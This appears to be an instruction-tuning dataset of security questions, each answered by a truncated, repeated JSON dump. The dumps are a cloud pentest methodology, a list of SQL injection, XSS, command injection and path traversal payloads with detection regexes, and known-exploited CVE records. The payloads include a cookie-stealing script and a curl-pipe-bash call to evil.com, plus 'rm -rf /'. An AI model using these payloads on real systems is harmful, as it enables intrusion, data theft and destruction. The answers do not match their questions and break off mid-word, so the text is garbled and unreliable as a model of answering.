      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Tell me about methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: How does methodologies work?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Describe methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: What is training scenarios?

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Explain training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Tell me about training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: How does training scenarios work?

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Describe training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: What is huggingface data?

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Explain huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Tell me about huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: How does huggingface data work?

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Describe huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: What is knowledge base?

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Explain knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Tell me about knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: How does knowledge base work?

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Describe knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
